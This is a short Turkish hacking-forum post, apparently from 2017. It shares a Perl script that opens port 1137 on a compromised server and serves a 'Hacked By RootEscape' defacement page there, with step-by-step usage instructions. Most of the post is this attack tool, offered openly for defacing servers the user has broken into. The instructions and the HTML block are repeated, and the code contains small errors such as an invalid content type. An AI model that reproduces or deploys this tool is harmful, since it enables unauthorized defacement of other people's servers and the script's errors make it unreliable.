- 14 Mar 2017
- 1,712
- 1
Son zamanlarda eline bilgisayarı alanın şu vasıfsız ama bir o kadar kolay olan port üzerinden indexi bastığı toolsu verip merakınızı giderme amaçlı bu makaleyi paylaşıyorum. Görüşümce hack emek ister bu kadar kolay olması işi zevksiz kılıyor . Ama aranızda kolay olsun sonuç getirsin diyenler elbet olacaktır . Neyse uzun lafın kısası mantıktan ve nasıl kullanacağınızdan bahsedelim .
Mantık : Serverda yeni bir port açar ve açılan porta indexi basar.
Kullanımı :
-Aşağıda vereceğim kodları mass.pl adlı bir text dosyasına kaydedin . Uzantısına dikkat edin .
-Servera gelip perl mass.pl komutunu çalıştırın .
-İndex kodlarını değiştirmek isteyen kodların içerisinde basit bir index var
-Kısımları değiştirip kendi indexinizi koyabilirsiniz .
-Bol şans
Mantık : Serverda yeni bir port açar ve açılan porta indexi basar.
Kullanımı :
-Aşağıda vereceğim kodları mass.pl adlı bir text dosyasına kaydedin . Uzantısına dikkat edin .
-Servera gelip perl mass.pl komutunu çalıştırın .
-İndex kodlarını değiştirmek isteyen kodların içerisinde basit bir index var
Kod:
<html>
<center>
<h1>Hacked By RootEscape</h1>
</center>
</html>';
-Kısımları değiştirip kendi indexinizi koyabilirsiniz .
-Bol şans
Kod:
#!/usr/bin/perl -w
use strict;
use IO::Socket;
sub Wait {
wait;
}
$SIG{CHLD} = \&Wait;
my $server = IO::Socket::INET->new(
LocalPort => 1137,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10) or die "$@\n";
my $client ;
while($client = $server->accept()) {
select $client;
print $client "HTTP/1.0 200 OK\r\n";
print $client "Content-type: text/p\r\n\r\n";
print $client '<html>
<center>
<h1>Hacked By RootEscape</h1>
</center>
</html>';
}
continue {
close($client);
kill CHLD -> -$$;
}
Alıntıdır
Son düzenleme: